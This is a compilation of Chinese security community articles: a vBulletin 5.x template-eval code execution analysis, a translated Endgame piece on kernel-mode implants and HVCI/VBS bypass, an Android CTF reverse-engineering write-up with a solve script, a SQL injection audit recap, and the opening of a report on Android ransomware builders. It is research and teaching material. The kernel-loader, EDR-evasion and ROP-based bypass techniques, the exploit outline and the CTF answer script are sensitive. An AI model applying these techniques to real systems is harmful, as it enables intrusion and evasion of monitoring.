方法，继续跟进。（下图对应文件位置：vBulletin514/includes/vb5/frontend/applicationlight.php）
在 **callRender** 方法中做了一件比较重要的事情，那就是将 **$_POST、$_GET** 数据注册到 **vB5_Template**
类的 **registered**
属性中，而这个属性等下会用来变量覆盖。（下图对应文件位置：vBulletin514/includes/vb5/template.php）
注册完 **vB5_Template** 类的 **registered** 属性，就进入了 **render** 方法。在下图 **第201行**
，我们看到程序对 **registered** 属性进行了变量覆盖，而我们使用上面的 **EXP** 就会注册
**$widgetConfig=array('code'= >'phpinfo();')** 变量。接着，程序就会从数据库中取模板代码，即 **SELECT
* FROM template WHERE `templateid` IN (406);** 执行结果的 **template**
字段对应的值。（下图对应文件位置：vBulletin514/includes/vb5/template.php）
从上图可以看出，程序会将模板代码放入 **eval** 函数中执行，而程序默认允许将模板中的变量再次 **eval**
，结合前面的变量覆盖，最终导致代码执行漏洞的发生。其剩余的代码如下图所示。
相关文章：
[vBulletin 5.x 前台代码执行漏洞分析 -【CVE-2019-16759】](https://xz.aliyun.com/t/6419)
[匿名研究员扔出一枚严重的 vBulletin
0day，或值1万美元](https://mp.weixin.qq.com/s/ullYEkYdmIMqyKD4U6GC8g) | 社区文章 |
# 内核模式威胁的最新技术与防御方式（第二部分）
|
##### 译文声明
本文是翻译文章，文章来源：endgame.com
原文地址：<https://www.endgame.com/blog/technical-blog/kernel-mode-threats-practical-defenses-part-2>
译文仅供参考，具体内容表达以及含义原文为准。
## 传送门
内核模式威胁的最新技术与防御方式（第一部分）
<https://www.anquanke.com/post/id/160412>
## 概述
在上一篇文章中，我们对内核模式威胁的演变进行了详细讲解。对于一些大型攻击团队来说，这仍然是一种首选方案，因为这种攻击难以被发现，并且能够保证具有较好的持久性。
诚然，随着时间的推移，各类安全机制和安全产品对计算机的保护也在逐渐加强，但与此同时，内核模式威胁也在不断地发展，并且已经应用到许多大规模的攻击之中，例如WannaCry和NotPetya。那么，针对安全人员来说，我们可以采取哪些措施来防御内核模式威胁呢？幸运的是，随着防御技术的不断发展，目前已经可以与这种攻击方式相抗衡。
通过我们的研究，我们得出了如何改进内核模式威胁防御方式的结论。在本文中，首先将会介绍研究过程，我们的这一研究从红蓝对抗中演变而来。随后，针对目前最新的攻击技术，将讨论几种内核模式威胁的防御方法。
## 攻击技术研究
为了测试和提升我们的防御方式，我们必须要充分理解最新的攻击技术。在内部开展的红蓝对抗期间，我们首先尝试着利用内核模式恶意软件来绕过终端安全产品和常见内核保护机制（例如：驱动程序签名强制执行DSE）。
随后，我们尝试了用于绕过最新内核保护机制的方法（例如：基于虚拟化的安全性VBS和管理程序代码完整性HVCI）。
### 红蓝对抗的收获
Endgame会定期组织红蓝对抗，以测试产品性能和团队能力。红队的任务是模拟不同级别的攻击者，其中包括非常复杂的商品化恶意软件和中高级APT攻击。通常情况下，我们红队成员都会使用最新的用户模式内存技术保持隐蔽。然而，随着蓝队水平的不断提升，他们已经能够有效防御我们的用户模式注入攻击。因此，我们决定研究内核模式，从而提升攻击的水平。
Turla Driver Loader（TDL， <https://github.com/hfiref0x/TDL>
）是我们进行内核攻击的关键所在。TDL是Turla/Uroburos驱动程序加载技术的开源实现。简而言之，它将负责加载易受攻击的VirtualBox驱动程序。在这里，VirtualBox驱动程序被利用加载并执行任意内核Shellcode。TDL借助Shellcode构建，在用户模式下利用“MemoryModule”等技术手动映射任意驱动程序，并调用其入口点。通过使用TDL，可以帮助红队实现两个目标：绕过驱动程序签名强制执行、不会将驱动程序写入目标计算机的磁盘中。
除此之外，还有一些其他高级的植入物设计方案。首先，我们希望避免任何用户模式组件。有一个典型的设计方案就是使用内核模式组件，并注入到用户模式进程中，以执行主要“植入”功能。在这两篇文章中引用到的内核模式恶意软件，其中就包含一些用户模式组件。
避免用到用户模式需要耗费一定的时间，但我们认为是值得的。因为向用户模式中注入任何内容，都有可能被蓝队发现。由此，就要求我们从内核模式进行网络命令和控制。我们选择了Winsock
Kernel（WSK）作为我们的网络选择，因为该工具的官方文档详尽，有较好的示例代码，提供了一个相对简单的接口，可以从内核进行网络通信。
为了进一步对抗蓝队，我们不希望有Beacon式的植入物。Beaconing是迄今为止最流行的恶意软件技术，我们也深知蓝方会努力找寻这样的恶意软件。但不幸的是，我们最初的端口开放很容易被他们发现。因此，我们通过重新使用DoublePulsar函数指针挂钩，劫持一些现有的内核套接字，从而实现了一种更为隐蔽的攻击方法。
但是，又因为它会被PatchGuard监控，我们不想使用相同的挂钩点。在筛选了众多的驱动程序之后，我们锁定了开放445端口的srvnet驱动程序。于是，我们在该驱动程序中寻找问题，并使用自己的accept函数挂钩srvnet的WskAccept函数。这样一来，我们的植入物就可以选择性地劫持445端口的流量。
使用TDL，就意味着我们的内核驱动程序永远不会在磁盘留下痕迹，但是仍然存在加载器可能被捕获的风险。因此，希望加载过程本身尽可能的无文件化。这样就要使用PowerShell或JavaScript链。我们之所以选择JS，是因为它相对更不容易被防守方察觉。
具体而言，使用了squiblydoo（ <https://attack.mitre.org/wiki/Technique/T1117>
）技术，从regsvr32进程运行一个scriptlet，而不是通常的启动cscript/wscript自身。
在Black Hat会议上，我们做了实际的演示，过程中使用了SquiblyTwo（
<http://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.html> ）和winrm.vbs逃避技术（ <https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404> ）。
至此，我们已经确定，要使用DotNetToJS从JavaScript加载或执行任意.NET可执行文件。现在可以从这个.NET可执行文件中进行漏洞利用，并加载我们的驱动程序，执行此操作的代码可以使用C语言编写。
还有一个更容易的选择，就是使用MemoryModule样式的.NET加载器，加载并执行本地可执行文件。本地可执行文件（TDL）会加载易受攻击的VirtualBox驱动程序，并对其进行漏洞利用，将我们的植入物加载并映射到内存中。在这整个过程中，真正接触到本机磁盘的唯一可执行文件，就是合法的VirtualBox驱动程序。
无文件内核模式威胁的演示视频：<https://youtu.be/7ACGx8CwctU>
### 绕过VBS和HVCI
当我们决定参加Black
Hat会议时，就打算要尝试扩大攻击的范围。目前，Microsoft将基于虚拟化的安全性（VBS）与管理程序代码完整性（HVCI）这两种机制相结合，能够有效地组织任何未经过签名的代码在内核中运行，这里也包括DoublePulsar以及我们为红蓝对抗所编写的植入物。
首先，我们发现了一个存在漏洞的驱动程序，因为在启动HVCI时，TDL的VirtualBox驱动程序不会加载。由此，我们从Parvez Anwar的网站（
<https://twitter.com/ParvezGHH> ）上获得了一个已知易受攻击的样本。接下来，就要选择要利用的漏洞了。
考虑到其难度，最终选择了易于利用的Write-*What-Where漏洞（在任何情况下攻击者能够将任意值写入任意位置），而没有选择例如静态单字节写入这样难度较大的漏洞。后者通常会涉及到一些池损坏（Pool
Corruption，例如Win32k GDI对象），以实现完整的读写原语。
由于易受攻击的驱动程序在进行覆盖时会解除对用户提供的指针的引用，所以它还为我们提供了一个便捷的任意读取原语。
HVCI机制会阻止未签名的代码在内核中运行，但该机制无法保护内核模式数据的完整性。如果篡改关键的数据接口，可能会严重影响系统的完整性。
例如，攻击子和可以通过修改IAT，来“NOP”掉某些函数调用。攻击者可以禁用终端检测响应（EDR）产品与用户通信的内核，也可以禁用安全相关内核的Etw提供程序（例如：Microsoft
Windows Threat Intelligence）。
此外，攻击者还可以利用数据损坏攻击（Data Corruption
Attacks），借助修改Token或Handle来提升权限。除此之外，还有一些技术可以被利用。
为了尽可能模拟现实中的攻击，我们研究了sysmon驱动程序将事件从内核模式发送到用户模式（用于进行日志记录）的方法。最终发现，如果将导入地址表（Import
Address Table）中的xor rax,rax ret gadget，事件就不再被记录。
现实中的攻击者，可以像这样阻止事件被记录，从而避免引起怀疑。需要指出的是，这并不是sysmon的一个漏洞，每个安全产品都可能会受到这样的数据损坏攻击。但是，Microsoft可能会扩展“基于虚拟化的安全性（VBS）”，从而保护不应被修改的某些关键数据区域（例如本示例中的导入地址表）。
尽管数据损坏攻击会引起他们的警惕，但我们还是想要探索是否能够实现任意代码执行。来自Microsoft BlueHat IL的Dave
Weston发表过一篇演讲（
[https://www.youtube.com/watch?v=8V0wcqS22vc&t=1s](https://www.youtube.com/watch?v=8V0wcqS22vc&t=1s)
），其中透露了“基于虚拟化的安全性”的重要设计细节。
然而，它也给我们留下了如何应对执行流保护（Control Flow
Guard）的难题。从本质上来说，在Windows内核中，目前仍然适合使用返回导向编程技术（Return Oriented
Programming，ROP）实现攻击。
正如Peter Hlavaty在2015年的演讲（ <https://recon.cx/2015/slides/recon2015-05-peter-hlavaty-jihui-lu-This-Time-Font-hunt-you-down-in-4-bytes.pdf>
）中提到的，可以滥用读写原语来执行栈挂钩，从而通过ROP实现代码执行。我们觉得可以将这种技术用于对抗HVCI加固后的系统。
于是，首先创建一个代理线程作为挂钩的目标。在那里，我们的PoC将根据目标函数中的参数数量，动态构建ROP链。只需要10个Gadget，就能够实现完整的N-argument函数调用原语。
接下来，利用已经过签名并且存在漏洞的驱动程序，来破坏代理线程的内核堆栈，以便执行生成的ROP链。最终，PoC可以调用任意内核模式函数。在演示中，攻击者可以利用它来注入受保护的用户模式进程（
<http://www.alex-ionescu.com/?p=116>
），并且在较大程度上绕过了反病毒产品和终端检测响应产品。下面的视频演示了如何使用这种技术绕过HVCI机制：<https://youtu.be/SCC_acwPQyo>
NTSTATUS WPM(DWORD_PTR targetProcess, DWORD_PTR destAddress, void * pBuf, SIZE_T Size)
{
SIZE_T Result;
DWORD_PTR srcProcess = CallFunction("PsGetCurrentProcess");
LONG ntStatus = CallFunction("MmCopyVirtualMemory", srcProcess,
(DWORD_PTR)pBuf, targetProcess, destAddress, Size, KernelMode, (DWORD_PTR)&Result);
return ntStatus;
}
## 总结
在本文中，我们详细介绍了红蓝对抗中作为红方的攻击过程，向大家揭示了攻击者借助内核模式威胁进行攻击的一般思路与高级进阶思路。
最后，通过红蓝对抗中的经验，我们探寻了多种内核模式威胁的防御方法。然而，这些防御方法仅仅是原理层面的，针对一些运维人员或安全人员可能显得并不友好。
为此，我们开发了两款免费工具，帮助大家有效防御威胁。在下篇文章中，我们将深入分析这两个防护工具的开发历程和工作原理，以帮助大家更好地防御此种威胁。 | 社区文章 |
# 前言
Android逆向，最近一次写android逆向相关的文章已经是一年前了。。
> 难受
本题虽然简单，但是也值得深挖一下。在做题的时候我较为详细的记录了，在此我也会比较详细的讲讲，主要面向像我这样的小白，同大家分享。
# 工具
需要使用到的工具：
IDA7.0
JEB.android.decompiler.3.0.0.201808031948Pro
jni.h
BDOpener.apk 或者 mprop
调试环境:
已经Root的Google Nexues 6p （android 8.0）
安装Xposed框架
我的环境是在mac下
当然有些工具不是必须的。可以使用类似的工具替换。搞android的话，手机最好是买个原生的吧。
# 步骤
大体介绍一下做此题的流程。
1. 找到主要判断逻辑
2. 找到关键的`eq`函数
3. 分析、识别算法
4. 写出解密脚本
步骤并不难，每一步都有许多方法可以达到目的，同时需要处理一些细节的地方。
## 寻找判断逻辑
### 方法一
`Android`逆向较为常用的工具，应该是`jeb`了，我这用的最近泄漏的版本。
疑难解决：
用`jeb`时非常容易运行不了，主要是因为`JDK`的版本问题，这里使用`JEB.android.decompiler.3.0.0.201808031948Pro`需要JDK11+
通过结果可以比较清楚的看到程序的逻辑，看起来似乎只要将用户名逆序即可！？
这部分代码比较简单。但是当我尝试使用`34567890931`进行输入，提示`error`
??答案明显不对，而且从逻辑上来看没有看到提示`error`的代码。因此这里肯定是有猫腻。
因此猜想程序执行的应该不是此`Activity`。
如果做过android开发，并且眼神比较好，也比较细心的话，肯定能看出问题。
此 `MainActivity` 继承自
`AppCompiatActivity`，而`Activity`的基类应该是`AppCompatActivity`，在`jeb`中直接双击`AppCompiatActivity`便可查看该类的定义，发现原来这里才是程序开始执行的位置。
此时再来看一下代码逻辑。
获取用户输入，调用native函数`eq`进行判断，然后判断长度是否24位，不足则补齐，并且对输入进行AES解密，最后打印结果。
整个的关键便在于native层的`eq`函数。
### 方法二
主要思路就是根据报错信息进行字符串搜索。当然最后也需要用到`jeb`。
我用`apktool`，当然使用`jeb`直接搜索来的更方便一些，只是我在做的时候尝试了，也就记录了。
命令`apktool d Transformers.apk`，之后在本地生成该apk的文件夹，在`vscode`下全局搜索字符串`error`
之后便可以在`jeb`中进行定位了。
`jeb`下直接搜索时，使用`ctrl + f`,更加方便快捷。
## 2\. 找到关键的`eq`函数
通过`jeb`脱出so文件，IDA打开，发现没有找到想要的`eq`函数
### Native函数注册
[参考文章](https://www.jianshu.com/p/5f1167734299)
在`Android`中通过jni调用本地方法（c/c++），通常使用javah生成规范的头文件，定义一个函数实现本地方法，函数名必须使用本地方法的全类名的规范来写。
> Java_ + 包名 + 类名+ 接口名
示例如下：
JNIEXPORT jstring Java_com_example_test_MainActivity_helloworld(JNIEnv *, jclass );
`jni`还提供`RegisterNatives`方法进行注册`Native`函数。
jclass clazz;
clazz = env->FindClass("com/example/test/MainActivity");
if (clazz == NULL) {
return JNI_FALSE;
}
if (env->RegisterNatives(clazz, gMethods, sizeof(gMethods) / sizeof(gMethods[0])) < 0) {
return JNI_FALSE;
}
return JNI_TRUE;
`RegisterNatives`中第二个参数`gMethods`是一个二维数组，代表着这个`class`里的每一个`native`方法所对应的实现的方法。写法如下示例：
static JNINativeMethod gMethods[] = {
{"helloworld", "()Ljava/lang/String;", (void*)Jni_helloworld}};
第三个参数代表要指定的native的数量。此时将前面在jni中声明可以改为
`jstring helloworld(JNIEnv *, jclass);`
### 寻找`eq`函数
了解完JNI注册Native函数的几种方法后回到此题，由于在导出表中没有找到`eq`函数，因此可以知道此时是通过手动注册的。
因此我们可以定位到`JNI_OnLoad`函数
像这里`v3 +
860`其实是`jni`的方法，为了使IDA能够识别,需要手动导入`jni.h`文件头，有关的操作可以[参考这](https://blog.csdn.net/qq_30135181/article/details/81909907)
然后将`int a1`修改为`JNIEnv * a1`,其他有关变量也是类似。
经过修改之后可以清晰的看到Native函数的注册过程。其中关键的就是`off_CC0E5014`
有以上的铺垫，我们知道这个位置存放的就是`JNINativeMethod`结构
并且其中第三个变量`sub_CC0E1784`指向的就是要注册的函数地址。
当然通过一些经验我们也可以快速的找到`eq`函数，比如就此题来说通过字符串`{9*8ga*l!Tn?@#fj'j$\\g;;`可以猜测`sub_CC0E1784`函数可能是目标函数或者是目标函数的一部分。
也可以挨个查看一下，根据经验去寻找，猜测的方法太多不列举了。
## 分析、识别算法
### 静态分析
就像其他很多师傅说的那样，主要就是修改的RC4以及修改的base64加密。
我在假期写过关于RC4算法识别，可以[参考下](https://xz.aliyun.com/t/3753)
`RC4`是因为我看到了密钥，初始化`S-Box`以及乱序的操作。`Base64`是因为看到了`base64`的`Table`。
这里简要的说一下加密过程。
#### 0\. 生成密钥。
大致过程是先去除`-`，然后倒序。
这里生成的密钥是固定的，所以没有必要深入的分析，我是通过动态调试识别出这部分功能。
#### 1\. 初始化S—Box
这里是用`dword_CC0E33E8`中的数据作为初始数据。
#### 2\. 根据密钥生成临时数据`K`
#### 3\. 依据K将S-Box乱序
#### 4\. 将S-Box经过伪随机子密码生成算法得到子密钥序列
对于RC4算法来说最后一步是将子密钥序列同明文进行异或，就此题来说以上过程都是固定的，因此我们无需关注此算法经过何种修改，只要将最后的子密钥序列`dump`下来即可。
在进行异或之前他还对子密钥序列做了一次交换，不过这个过程是可逆的。
而后将异或的结果进行了base64加密。
这个判断起来不难，通过`byte_CC0E5050`数据就可以猜到
最后将结果同`byte_CC0E34E8`逐字节进行比较，分析到此算是结束了。
现在理一下解题思路，先还原base64，然后同RC4的子密钥序列进行异或。
那么最后我们还需要`dump`出子密钥序列。这就需要动态调试一番。
> 题外话，其实不需要调试也完全可以解决，只要照着加密过程，自己将RC4改改，同样能得到子密钥序列，我感觉应该只有初始化S-> Box不同其他应该没有变动。我做的时候是动调的。
### 动态调试
[参考WIKI](https://ctf-wiki.github.io/ctf-wiki/android/basic_reverse/dynamic/ida_native_debug/)
调试是逆向中不可少的。不过有时总会因为各种环境问题导致无法调试。我觉得如果打算做android逆向的话，最好还是准备只Google手机，能少遇点坑。
调试手机apk有几种方法，我大致总结了下。
#### 1\. 动态调试Java层APK
这里通常使用`jeb`进行动调，动调`java`主要是调试`smail`，当然这里也可以用AS进行动调，不过太麻烦了。JEB比较简单。
将需要调试的APK拖入jeb打开，在smail下断点，确保手机打开了开发者模式。
这里我用的手机是Google Nexues 6P，不知道为啥我用小米8，JEB没显示。
为了进行调试，需要对应的APK设置debuggable=true
这里可以使用mprop工具，如果手机上安装Xposed框架，那么可以直接使用BDOpener.apk模块
具体怎么使用找教程。
#### 2\. 动态调试android原生程序
手机ROOT，处于开发者模式，打开USB调试
上传android_server 并运行
同时进行端口转发
adb push android_server /data/local/tmp
chmod 775 /data/local/tmp/android_server
adb shell
su
./data/local/tmp/android_server
adb forward tcp:23946 tcp:23946
这是为了将手机的23946端口转发到本地的23946端口上，以便IDA进行通信。
将需要调试的原生程序上传至手机，并赋予可执行权限
adb push debugnativeapp /data/local/tmp/
adb shell chmod 755 /data/local/tmp/debugnativeapp
IDA选择Debugger-Run-RemoteArmLinux/Android debugger
然后在IDA中设置程序，路径，配置HostName以及Port
同时设置Deubg Option，使IDA能在 entry ，load， start 处断下。
容易遇到的问题。
如果遇到 error: only position independent executables (PIE) are supported. 一般是因为 android 手机的版本大于 5，可以尝试
使用 android_server 的 PIE 版本
利用 010Editor 将可执行 ELF 文件的 header 中的 elf header 字段中的 e_type 改为 ET_DYN(3)。
#### 3.原生SO动态调试（直接在so处下断）
这是比较简单的方式，这其实和SO运行和加载的时机有关，如果需要在加载SO之前也就是`.init`
因为so是依附于apk运行的，所以相对来说会比较复杂。
运行android_server 并且进行端口转发
在手机上运行apk，然后在IDA中attach程序，此时IDA便会在libc中断下。这时便可以调试native层的函数。
由于此方法需要apk在运行的时候附加调试，因此如果程序有加固或者在.init_array有解密，则无法进行调试。
使用这种方法时同样也能在libc和linker处断下，但是这个断点没有什么意义，因为程序本身已经加载完毕了。
#### 4.原生SO动态调试（.init_array 以及 JNI_OnLoad)
为了理解，我们需要对`so`文件的加载过程有比较清晰的了解。
[参考文章](http://www.blogfshare.com/linker-load-so.html)
能自己阅读下`linker`的源码那是最好的了。
`android`最基本的`so`是`libc.so`，通过`libc`加载`linker`，然后通过`linker`的`call_function`加载`lib`库。
就像文中总结的一样，当Java层调用static。。。时，系统加载so，首先执行.init和.init_array段的代码，之后如果存在JNI_OnLoad就调用该函数。后面就需要具体问题具体分析了。
同三类似，运行android_server,进行端口转发。
su
./data/local/tmp/android_server
adb forward tcp:23946 tcp:23946
不同的是需要以调试模式启动程序。我通过aapt可以快速的获取目标apk的一些信息。(习惯命令行)
/Users/jeb/Library/Android/sdk/build-tools/27.0.3/aapt dump badging Transformers.apk
adb shell am start -D -n com.zhuotong.crackme/.MainActivity
此时可以打开IDA进行附加了。
此时会断在libc，然后根据需要设置`Debugger Option`
我是辣么设置的。
此时在IDA中F9运行，是不会有反应的。因为此时还需要恢复app的运行。
Wiki上说打开`ddms`，估计那个SDK的版本比较老，我是`SDK-27`，`ddms`改为`monitor`
在如下路径：`/Users/jeb/Library/Android/sdk/tools/monitor`
此时我们需要选中目标进程，这样就相当于是将app转发到电脑的jdb的调试端口默认是`8700`，而后使用jdb附加。
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
此时在输出窗口可以看到加载了`liboo000oo.so`,然后他会在`Jni_OnLoad`处的断点停下。
这里需要注意一个顺序，先IDA附加，然后jdb附加使app恢复运行。
此时可以看到`RegisterNatives`函数的四个参数，其实是三个参数，第一个代表`this`,其中第三个参数可以很清楚的看到函数名，函数类型，以及地址。
我们找到`eq`函数，然后下断。根据前面的静态分析，我们在`sub_CC0D6784`函数下断，然后随便输入24个字符，最后将子密钥序列`dump`下来即可。
最后整理一下即可写出解密脚本。
这里其实还有一个点不知道各位有木有发现。
在静态分析时`RegisterNatives`函数的第二个参数。
其中`byte_CC0DA0CA`和`byte_CC0DA0D0`指向的都是乱码数据，只有最后一个地址是正确的，但当我们动态调试的时候，这两个指针却指向了`eq`和`(Ljava/lang/String;)Z`这是为什么呢？
还记得so的加载流程吗？
如果不记得请在此阅读一遍这篇[参考文章](http://www.blogfshare.com/linker-load-so.html)
那就是`.init_array`段。
此处对应的就是`datadiv_decode5009363700628197108`函数
大概功能就是对so的部分数据进行解密。
我们可以直接在此函数下断，对解密部分代码进行调试，有时候反调试就会在这里设置。
如果有必要其实也可以在`linker`的`call_function`处下断，我们可以将`/system/bin/linker` pull 到本地进行分析。
有兴趣的可以试试。总之在何处下断，需要对so的加载流程非常的熟悉，以及合适需要IDA附加，程序运行到哪一步都需要自己把握清楚。
## 写出解密脚本
有了前面的分析，解密脚本也就非常的好写。
贴一下我的代码：
table="!:#$%&()+-*/`~_[]{}?<>,.@^abcdefghijklmnopqrstuvwxyz0123456789\\'"
r="\x20{9*8ga*l!Tn?@#fj'j$\\g;;"
s = ""
for i in range(6):
s += chr(ord(r[i*4])^7)
s += chr(ord(r[i*4+1]))
s += chr(ord(r[i*4+2])^0xf)
s += chr(ord(r[i*4+3]))
def mydecodeb64(enc,padding):
enc=enc.replace(padding,"")
x="".join(map(lambda x:bin(table.index(x))[2:].zfill(6),enc))
for ap in range(8-(len(x)%8)):
x+='0'
plain=[]
for i in range((len(x))/8):
plain.append(chr(eval('0b'+x[i*8:(i+1)*8])))
return "".join(plain).replace("\x00","")
s_box = [0xF0,0x37,0xE1,0x9B,0x2A,0x15,0x17,0x9F,0xD7,0x58,0x4D,0x6E,0x33,0xA0,0x39,0xAE,0x04,0xD0,0xBE,0xED,0xF8,0x66,0x5E,0x00,0xD6,0x91,0x2F,0xC3,0x10,0x4C,0xF7,0xA6,0xC1,0xEC,0x6D,0x0B,0x50,0x65,0xBB,0x34,0xFA,0xA4,0x2D,0x3B,0x23,0xA1,0x96,0xD5,0x1D,0x38,0x56,0x0A,0x5D,0x4F,0xE4,0xCC,0x24,0x0D,0x12,0x87,0x35,0x85,0x8E,0x6F,0xC6,0x13,0x9A,0xD3,0xFC,0xE7,0x08,0xAC,0xB7,0xE9,0xB0,0xE8,0x41,0xAA,0x55,0x53,0xC2,0x42,0xBC,0xE6,0x0F,0x8A,0x86,0xA8,0xCF,0x84,0xC5,0x48,0x74,0x36,0x07,0xEB,0x88,0x51,0xF6,0x7F,0x57,0x05,0x63,0x3E,0xFE,0xB8,0xC9,0xF5,0xAF,0xDF,0xEA,0x82,0x44,0xF9,0xCD,0x06,0xBA,0x30,0x47,0x40,0xDE,0xFD,0x1C,0x7C,0x11,0x5C,0x02,0x31,0x2C,0x9C,0x5F,0x46,0x27,0xC4,0x83,0x73,0x16,0x90,0x20,0x76,0x7B,0xF2,0xE3,0xF3,0x77,0x52,0x80,0x25,0x09,0x26,0x3F,0xC7,0x18,0x1B,0xA3,0xFF,0xFB,0xCB,0xA9,0x8C,0x54,0x7A,0x68,0xB4,0x70,0x4B,0xE2,0x49,0x22,0x7E,0xA5,0xB6,0x81,0x9D,0x4E,0x67,0xF1,0xA7,0x3C,0xD9,0x94,0xEF,0x32,0x6B,0x1F,0xB1,0x60,0xB9,0x64,0x59,0x01,0xB3,0x7D,0xE0,0x6C,0xAD,0x97,0x19,0xB5,0x3A,0xF4,0xD8,0x8D,0x98,0x03,0x93,0x1A,0xDC,0x1E,0x4A,0xC0,0x5A,0xE5,0xD1,0x3D,0x14,0xC8,0x79,0xBD,0x43,0xDB,0x69,0xD2,0x61,0x95,0x9E,0x21,0x45,0x89,0x2B,0xAB,0x29,0xA2,0x8B,0x2E,0xD4,0x0E,0x62,0xCA,0x28,218, 91, 114, 143, 153, 117, 238, 120, 12, 113, 191, 221, 206, 146, 106, 178]
dec_one = mydecodeb64(s,padding = ";")
print len(s_box)
v30 = 0
v28 = 0
flag = ""
for i in range(16):
v28 = (v28+1)%256
v35 = s_box[v28]
v30 = (v30+v35)%256
s_box[v28] = s_box[v30]
s_box[v30] = v35
v17 = s_box[v28]
index = (v35+v17)%256
flag+=chr(s_box[index]^ord(dec_one[i]))
print flag
# 总结
抽空做了几题，自己也回顾一下。不过还是太菜了。
> pizza tql | 社区文章 |
**前言**
事情发生在一个阳光明媚的夜晚，我对某站进行了一波御剑，发现了一个根目录下存在一个wwwroot.zip文件，乐了乐了，这一看就是源码啊，果断下载下来，审计了一波。
后台的漏洞就不说了，给大伙看看几个高危的前台的漏洞，漏洞已经提交CNVD
**第一个SQL注入**
首先打开了根目录下的admin.php，发现他引入了两个配置文件，跟进去看一下。在common.inc.php的20到31行发现了对传参做了一下处理，并且把每个传进来的参数都赋值给了对应的变量
跟入stripSQL参数，可以发现他就是做了一个简单的对sql注入的过滤
接着看admin.php，首先他会从cookie中获取登录用户、密码等。
之后在43行中可以看到他直接拼接用户密码做了一个查询，那稳了，没啥好说的了。
直接注，payload如下，成功延时
**第二个SQL注入**
打开ajax.php，首先他把参数中的mod和op分别赋值到$_module和$_operation中，如果$_module为jacksoft的话，那么就引入相应的php文件中
在jacksoft/ajax下的password.inc.php文件中，发现了他获取了参数后，直接拼接到了sql语句中，形成了sql注入
payload如下
**结语**
还有几个前台的sql注入，但是都是大同小异，就不一个一个说了。HW终于结束了，在这祝大伙天天有shell，年年换对象。 | 社区文章 |
# 【安全报告】ANDROID勒索软件黑产研究 ——恶意软件一键生成器
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者：360烽火实验室 & 360手机卫士**
**投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿**
**摘要**
****
2017年1月至9月，360烽火实验室共捕获手机勒索恶意软件50万余个，平均每月捕获手机勒索软件5.5万余个。语音识别、二维码和文件加密等新型勒索软件不断涌现。
社交网络服务被滥用，2017年前三季度，360烽火实验室发现勒索信息中新增QQ号码7.7万余个，QQ群号码1千余个。其中，一季度新增QQ号码和QQ群号码数量均为最多，第二、三季度逐渐下降，与一季度相比二季度下降23.0%，三季度下降56.8%。
大部分勒索信息中都会同时出现QQ号和QQ群号。在相似页面布局的勒索页面中，变化是只是QQ号而QQ群号基本不变。
锁机源码、测试视频、视频教程、软件源码及制作工具等等上传到群文件中，共享给群里其他人，甚至还有人制作木马一键生成器。
通QQ群查询“锁机”关键字得到的结果，带有“锁机”关键字标签的QQ群有200余个，由此可见QQ群是勒索软件的主要传播源。
大部分一键生成器由简易工具AIDE制作而成，一键生成器能够制作22种不同类型的软件，其中包括了12种不同类型的勒索软件、6种钓鱼软件、2种套路软件、1种拦截马软件以及1种表白软件。
生成流程包括三个部分， **选择生成软件的类型、填写生成软件的配置信息和添加生成软件ROOT锁。**
**第一章 研究背景**
****
**一、 手机勒索软件肆虐严重**
今年5月，WannaCry勒索病毒全球大爆发，至少150个国家、30万名用户中招，造成损失达80亿美元，已经影响到金融，能源，医疗等众多行业，造成严重的危机管理问题。中国部分Windows操作系统用户遭受感染，校园网用户首当其冲，受害严重，大量实验室数据和毕业设计被锁定加密。部分大型企业的应用系统和数据库文件被加密后，无法正常工作，影响巨大。
面对这突如其来的病毒攻击，勒索软件成为人们热点关注的话题。相比PC的勒索软件，手机勒索软件近年来在数量和种类上也得到了逐渐迅猛发展演变。
2017年1月至9月，360烽火实验室共捕获手机勒索恶意软件50万余个，平均每月捕获手机勒索软件5.5万余个。其中1月到5月手机勒索软件呈现波动式增长，6月份网警在芜湖、安阳将勒索病毒制作者男子陈某及主要传播者晋某抓获，全国首例手机勒索病毒案告破，在6月份以后新增数量急剧下降，手机勒索软件制作者得到了一定震慑作用。
图1
**二、 新型勒索软件不断涌现**
****
今年我们发现了勒索软件使用的三种新型的技术手段：语音识别、二维码和文件加密。语音识别采用STT（Speech to
Text）技术，不再使用手动键入密码来解锁，通过使用者的语音输入，进行识别、匹配从而进行解锁；二维码技术手段是通过扫描制马人生成的二维码进行转账支付勒索金额，整个转账过程中双方信息交互仅为微信用户的昵称与转账账目相关信息，微信用户的昵称可以随意改变且不唯一，转账过程中不涉及双方微信账号的信息，转账后无法自动解锁，让受害者再次陷入制马人的骗局中。
图2
文件加密类型的勒索软件，虽然在国外早已出现，但在国内之前还并不常见，在受到了PC端的WannaCry勒索病毒大爆发影响后，国内开始出现仿冒页面布局、图片及功能的手机版WannaCry勒索病毒，甚至将手机版可编译的源码上传至Github。
图3
今年6月，我们发现了一款冒充时下热门手游“王者荣耀”辅助工具的手机勒索恶意软件，会对手机中照片、下载、云盘等目录下的个人文件进行加密。并向用户勒索赎金，金额在20元、40元不等。并且宣称三天不交赎金，价格将翻倍，七天不交，将删除所有加密文件。这个恶意软件由于可以在加密算法、密钥生成算法上进行随机的变化，甚至可以选择对生成的病毒样本进行加固混淆，很大程度上增加了修复难度，对手机中文件和资料造成了严重破坏。
**第二章 社交网络成为勒索软件主要传播渠道**
****
**一、 QQ服务被滥用**
我们发现勒索软件在勒索页面的设计和文字上都有很多相似的地方，其中最为典型的特征是勒索页面中都留有制马人联系方式，方便中招的受害者与制马人联系，以便制马人对受害者进行敲诈勒索，这些联系方式几乎都是QQ号或者是QQ群。
图4
2017年前三季度，360烽火实验室发现勒索信息中新增QQ号码7.7万余个，QQ群号码1千余个。其中，一季度新增QQ号码和QQ群号码数量均为最多，第二、三季度逐渐下降，与一季度相比二季度下降23.0%，三季度下降56.8%。
图5
**二、 QQ群是主要传播源**
****
**（一）QQ与QQ群关系**
通过对勒索软件预留的QQ号与QQ群的分析，我们发现大部分勒索信息中都会同时出现QQ号和QQ群号。在相似页面布局的勒索页面中，变化是只是QQ号而QQ群号基本不变。
图6
例如，QQ群号30****23，与该号码同时出现有325个不同的QQ号，包含这些QQ号的勒索软件6千余个。
